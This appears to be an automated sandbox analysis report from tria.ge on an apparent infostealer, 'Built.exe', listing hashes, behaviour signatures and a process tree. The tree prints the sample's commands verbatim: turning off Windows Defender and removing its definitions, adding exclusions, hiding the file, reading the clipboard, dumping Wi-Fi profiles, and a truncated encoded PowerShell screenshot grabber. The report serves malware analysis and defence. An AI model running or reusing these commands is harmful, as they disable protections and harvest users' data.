Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
33s -
max time network
35s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
24/01/2025, 04:04
Behavioral task
behavioral1
Sample
Built.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Built.exe
Resource
win10v2004-20241007-en
General
-
Target
Built.exe
-
Size
6.8MB
-
MD5
6d705cdd6929e7f780d61592b9e27598
-
SHA1
c2c859b703dc11e9a3c6d361284f5bd7c9532723
-
SHA256
bc8a9569f49116041f40d1db6d62482532da9486ea18ffebe6b110239b8ad631
-
SHA512
3149db6c70fd705a5fa9e142be9dd5ded849761aa38688dca816e9d67705b80d9c8290df519bf8a88aa38713f5ae03425669a6bf21111300e8c2677b286c9775
-
SSDEEP
98304:6c9kwN+MdA5wqSnWpr8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DovaDJ1n6hBq:6kV1vlB6ylnlPzf+JiJCsmFMvln6hqgk
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1488 powershell.exe 1188 powershell.exe 4680 powershell.exe 428 powershell.exe 4884 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4408 powershell.exe 4672 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3080 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe 3732 Built.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 9 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
pid Process 1876 tasklist.exe 2620 tasklist.exe 2360 tasklist.exe 3784 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 808 cmd.exe -
resource yara_rule behavioral2/files/0x000a000000023ba1-21.dat upx behavioral2/memory/3732-25-0x00007FF8F3140000-0x00007FF8F372A000-memory.dmp upx behavioral2/memory/3732-32-0x00007FF8F98E0000-0x00007FF8F98EF000-memory.dmp upx behavioral2/files/0x000a000000023b9f-31.dat upx behavioral2/files/0x000a000000023b9b-48.dat upx behavioral2/files/0x000a000000023b9a-47.dat upx behavioral2/files/0x000a000000023b99-46.dat upx behavioral2/files/0x000a000000023b98-45.dat upx behavioral2/files/0x000a000000023b97-44.dat upx behavioral2/files/0x000a000000023b96-43.dat upx behavioral2/files/0x000a000000023b95-42.dat upx behavioral2/files/0x000a000000023b93-41.dat upx behavioral2/files/0x000a000000023ba6-40.dat upx behavioral2/files/0x000a000000023ba5-39.dat upx behavioral2/files/0x000a000000023ba4-38.dat upx behavioral2/memory/3732-54-0x00007FF8F8900000-0x00007FF8F892D000-memory.dmp upx behavioral2/files/0x000a000000023ba0-35.dat upx behavioral2/files/0x000a000000023b9e-34.dat upx behavioral2/memory/3732-56-0x00007FF8F88E0000-0x00007FF8F88F9000-memory.dmp upx behavioral2/memory/3732-60-0x00007FF8F3CB0000-0x00007FF8F3E1F000-memory.dmp upx behavioral2/memory/3732-71-0x00007FF8F38C0000-0x00007FF8F3978000-memory.dmp upx behavioral2/memory/3732-74-0x00007FF8F9370000-0x00007FF8F9393000-memory.dmp upx behavioral2/memory/3732-82-0x00007FF8E47F0000-0x00007FF8E490C000-memory.dmp upx behavioral2/memory/3732-81-0x00007FF8F88E0000-0x00007FF8F88F9000-memory.dmp upx behavioral2/memory/3732-79-0x00007FF8F88D0000-0x00007FF8F88DD000-memory.dmp upx behavioral2/memory/3732-78-0x00007FF8F8900000-0x00007FF8F892D000-memory.dmp upx behavioral2/memory/3732-76-0x00007FF8F5B60000-0x00007FF8F5B74000-memory.dmp upx behavioral2/memory/3732-72-0x00007FF8E4910000-0x00007FF8E4C85000-memory.dmp upx behavioral2/memory/3732-70-0x00007FF8F3140000-0x00007FF8F372A000-memory.dmp upx behavioral2/memory/3732-66-0x00007FF8F5B80000-0x00007FF8F5BAE000-memory.dmp upx behavioral2/memory/3732-64-0x00007FF8F98D0000-0x00007FF8F98DD000-memory.dmp upx behavioral2/memory/3732-108-0x00007FF8F5BD0000-0x00007FF8F5BF3000-memory.dmp upx behavioral2/memory/3732-122-0x00007FF8F3CB0000-0x00007FF8F3E1F000-memory.dmp upx behavioral2/memory/3732-246-0x00007FF8F5BB0000-0x00007FF8F5BC9000-memory.dmp upx behavioral2/memory/3732-275-0x00007FF8F5B80000-0x00007FF8F5BAE000-memory.dmp upx behavioral2/memory/3732-62-0x00007FF8F5BB0000-0x00007FF8F5BC9000-memory.dmp upx behavioral2/memory/3732-58-0x00007FF8F5BD0000-0x00007FF8F5BF3000-memory.dmp upx behavioral2/memory/3732-30-0x00007FF8F9370000-0x00007FF8F9393000-memory.dmp upx behavioral2/memory/3732-297-0x00007FF8F38C0000-0x00007FF8F3978000-memory.dmp upx behavioral2/memory/3732-298-0x00007FF8E4910000-0x00007FF8E4C85000-memory.dmp upx behavioral2/files/0x000a000000023b94-28.dat upx behavioral2/memory/3732-314-0x00007FF8E47F0000-0x00007FF8E490C000-memory.dmp upx behavioral2/memory/3732-317-0x00007FF8F8900000-0x00007FF8F892D000-memory.dmp upx behavioral2/memory/3732-321-0x00007FF8F5BB0000-0x00007FF8F5BC9000-memory.dmp upx behavioral2/memory/3732-325-0x00007FF8E4910000-0x00007FF8E4C85000-memory.dmp upx behavioral2/memory/3732-324-0x00007FF8F38C0000-0x00007FF8F3978000-memory.dmp upx behavioral2/memory/3732-323-0x00007FF8F5B80000-0x00007FF8F5BAE000-memory.dmp upx behavioral2/memory/3732-322-0x00007FF8F98D0000-0x00007FF8F98DD000-memory.dmp upx behavioral2/memory/3732-320-0x00007FF8F3CB0000-0x00007FF8F3E1F000-memory.dmp upx behavioral2/memory/3732-319-0x00007FF8F5BD0000-0x00007FF8F5BF3000-memory.dmp upx behavioral2/memory/3732-318-0x00007FF8F88E0000-0x00007FF8F88F9000-memory.dmp upx behavioral2/memory/3732-316-0x00007FF8F98E0000-0x00007FF8F98EF000-memory.dmp upx behavioral2/memory/3732-315-0x00007FF8F9370000-0x00007FF8F9393000-memory.dmp upx behavioral2/memory/3732-313-0x00007FF8F88D0000-0x00007FF8F88DD000-memory.dmp upx behavioral2/memory/3732-312-0x00007FF8F5B60000-0x00007FF8F5B74000-memory.dmp upx behavioral2/memory/3732-300-0x00007FF8F3140000-0x00007FF8F372A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 628 PING.EXE 2104 cmd.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 952 netsh.exe 1380 cmd.exe -
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4536 WMIC.exe 2500 WMIC.exe 5088 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1400 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 628 PING.EXE -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1488 powershell.exe 4680 powershell.exe 4680 powershell.exe 1488 powershell.exe 1488 powershell.exe 1188 powershell.exe 1188 powershell.exe 4408 powershell.exe 4408 powershell.exe 4408 powershell.exe 3640 powershell.exe 3640 powershell.exe 3640 powershell.exe 428 powershell.exe 428 powershell.exe 2968 powershell.exe 2968 powershell.exe 4884 powershell.exe 4884 powershell.exe 1316 powershell.exe 1316 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3784 tasklist.exe Token: SeDebugPrivilege 1488 powershell.exe Token: SeDebugPrivilege 4680 powershell.exe Token: SeIncreaseQuotaPrivilege 2472 WMIC.exe Token: SeSecurityPrivilege 2472 WMIC.exe Token: SeTakeOwnershipPrivilege 2472 WMIC.exe Token: SeLoadDriverPrivilege 2472 WMIC.exe Token: SeSystemProfilePrivilege 2472 WMIC.exe Token: SeSystemtimePrivilege 2472 WMIC.exe Token: SeProfSingleProcessPrivilege 2472 WMIC.exe Token: SeIncBasePriorityPrivilege 2472 WMIC.exe Token: SeCreatePagefilePrivilege 2472 WMIC.exe Token: SeBackupPrivilege 2472 WMIC.exe Token: SeRestorePrivilege 2472 WMIC.exe Token: SeShutdownPrivilege 2472 WMIC.exe Token: SeDebugPrivilege 2472 WMIC.exe Token: SeSystemEnvironmentPrivilege 2472 WMIC.exe Token: SeRemoteShutdownPrivilege 2472 WMIC.exe Token: SeUndockPrivilege 2472 WMIC.exe Token: SeManageVolumePrivilege 2472 WMIC.exe Token: 33 2472 WMIC.exe Token: 34 2472 WMIC.exe Token: 35 2472 WMIC.exe Token: 36 2472 WMIC.exe Token: SeIncreaseQuotaPrivilege 2472 WMIC.exe Token: SeSecurityPrivilege 2472 WMIC.exe Token: SeTakeOwnershipPrivilege 2472 WMIC.exe Token: SeLoadDriverPrivilege 2472 WMIC.exe Token: SeSystemProfilePrivilege 2472 WMIC.exe Token: SeSystemtimePrivilege 2472 WMIC.exe Token: SeProfSingleProcessPrivilege 2472 WMIC.exe Token: SeIncBasePriorityPrivilege 2472 WMIC.exe Token: SeCreatePagefilePrivilege 2472 WMIC.exe Token: SeBackupPrivilege 2472 WMIC.exe Token: SeRestorePrivilege 2472 WMIC.exe Token: SeShutdownPrivilege 2472 WMIC.exe Token: SeDebugPrivilege 2472 WMIC.exe Token: SeSystemEnvironmentPrivilege 2472 WMIC.exe Token: SeRemoteShutdownPrivilege 2472 WMIC.exe Token: SeUndockPrivilege 2472 WMIC.exe Token: SeManageVolumePrivilege 2472 WMIC.exe Token: 33 2472 WMIC.exe Token: 34 2472 WMIC.exe Token: 35 2472 WMIC.exe Token: 36 2472 WMIC.exe Token: SeIncreaseQuotaPrivilege 4536 WMIC.exe Token: SeSecurityPrivilege 4536 WMIC.exe Token: SeTakeOwnershipPrivilege 4536 WMIC.exe Token: SeLoadDriverPrivilege 4536 WMIC.exe Token: SeSystemProfilePrivilege 4536 WMIC.exe Token: SeSystemtimePrivilege 4536 WMIC.exe Token: SeProfSingleProcessPrivilege 4536 WMIC.exe Token: SeIncBasePriorityPrivilege 4536 WMIC.exe Token: SeCreatePagefilePrivilege 4536 WMIC.exe Token: SeBackupPrivilege 4536 WMIC.exe Token: SeRestorePrivilege 4536 WMIC.exe Token: SeShutdownPrivilege 4536 WMIC.exe Token: SeDebugPrivilege 4536 WMIC.exe Token: SeSystemEnvironmentPrivilege 4536 WMIC.exe Token: SeRemoteShutdownPrivilege 4536 WMIC.exe Token: SeUndockPrivilege 4536 WMIC.exe Token: SeManageVolumePrivilege 4536 WMIC.exe Token: 33 4536 WMIC.exe Token: 34 4536 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2432 wrote to memory of 3732 2432 Built.exe 82 PID 2432 wrote to memory of 3732 2432 Built.exe 82 PID 3732 wrote to memory of 1140 3732 Built.exe 83 PID 3732 wrote to memory of 1140 3732 Built.exe 83 PID 3732 wrote to memory of 920 3732 Built.exe 84 PID 3732 wrote to memory of 920 3732 Built.exe 84 PID 3732 wrote to memory of 844 3732 Built.exe 85 PID 3732 wrote to memory of 844 3732 Built.exe 85 PID 3732 wrote to memory of 1724 3732 Built.exe 87 PID 3732 wrote to memory of 1724 3732 Built.exe 87 PID 3732 wrote to memory of 952 3732 Built.exe 139 PID 3732 wrote to memory of 952 3732 Built.exe 139 PID 1140 wrote to memory of 1488 1140 cmd.exe 93 PID 1140 wrote to memory of 1488 1140 cmd.exe 93 PID 844 wrote to memory of 3328 844 cmd.exe 94 PID 844 wrote to memory of 3328 844 cmd.exe 94 PID 920 wrote to memory of 4680 920 cmd.exe 96 PID 920 wrote to memory of 4680 920 cmd.exe 96 PID 1724 wrote to memory of 3784 1724 cmd.exe 95 PID 1724 wrote to memory of 3784 1724 cmd.exe 95 PID 952 wrote to memory of 2472 952 cmd.exe 97 PID 952 wrote to memory of 2472 952 cmd.exe 97 PID 3732 wrote to memory of 2364 3732 Built.exe 99 PID 3732 wrote to memory of 2364 3732 Built.exe 99 PID 2364 wrote to memory of 3516 2364 cmd.exe 101 PID 2364 wrote to memory of 3516 2364 cmd.exe 101 PID 3732 wrote to memory of 408 3732 Built.exe 102 PID 3732 wrote to memory of 408 3732 Built.exe 102 PID 408 wrote to memory of 4012 408 cmd.exe 104 PID 408 wrote to memory of 4012 408 cmd.exe 104 PID 3732 wrote to memory of 624 3732 Built.exe 105 PID 3732 wrote to memory of 624 3732 Built.exe 105 PID 624 wrote to memory of 4536 624 cmd.exe 193 PID 624 wrote to memory of 4536 624 cmd.exe 193 PID 3732 wrote to memory of 3208 3732 Built.exe 108 PID 3732 wrote to memory of 3208 3732 Built.exe 108 PID 3208 wrote to memory of 2500 3208 cmd.exe 110 PID 3208 wrote to memory of 2500 3208 cmd.exe 110 PID 3732 wrote to memory of 808 3732 Built.exe 111 PID 3732 wrote to memory of 808 3732 Built.exe 111 PID 3732 wrote to memory of 760 3732 Built.exe 113 PID 3732 wrote to memory of 760 3732 Built.exe 113 PID 808 wrote to memory of 3724 808 cmd.exe 115 PID 808 wrote to memory of 3724 808 cmd.exe 115 PID 760 wrote to memory of 1188 760 cmd.exe 116 PID 760 wrote to memory of 1188 760 cmd.exe 116 PID 3732 wrote to memory of 2640 3732 Built.exe 117 PID 3732 wrote to memory of 2640 3732 Built.exe 117 PID 3732 wrote to memory of 2228 3732 Built.exe 118 PID 3732 wrote to memory of 2228 3732 Built.exe 118 PID 3732 wrote to memory of 812 3732 Built.exe 121 PID 3732 wrote to memory of 812 3732 Built.exe 121 PID 2640 wrote to memory of 2620 2640 cmd.exe 123 PID 2640 wrote to memory of 2620 2640 cmd.exe 123 PID 2228 wrote to memory of 1876 2228 cmd.exe 124 PID 2228 wrote to memory of 1876 2228 cmd.exe 124 PID 812 wrote to memory of 2196 812 cmd.exe 125 PID 812 wrote to memory of 2196 812 cmd.exe 125 PID 3732 wrote to memory of 4672 3732 Built.exe 126 PID 3732 wrote to memory of 4672 3732 Built.exe 126 PID 3732 wrote to memory of 2820 3732 Built.exe 127 PID 3732 wrote to memory of 2820 3732 Built.exe 127 PID 3732 wrote to memory of 3200 3732 Built.exe 128 PID 3732 wrote to memory of 3200 3732 Built.exe 128 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3724 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4680
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('TURN OFF ANTIVIRUS', 0, 'ERROR', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('TURN OFF ANTIVIRUS', 0, 'ERROR', 0+16);close()"4⤵PID:3328
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3784
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:3516
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:4012
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4536
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:2500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"4⤵
- Views/modifies file attributes
PID:3724
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1188
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2620
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:1876
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:2196
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:4408
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:2820
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2360
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:3200
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:3228
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:1380 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:952
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:3832
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:1400
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:4432
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:3552
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAA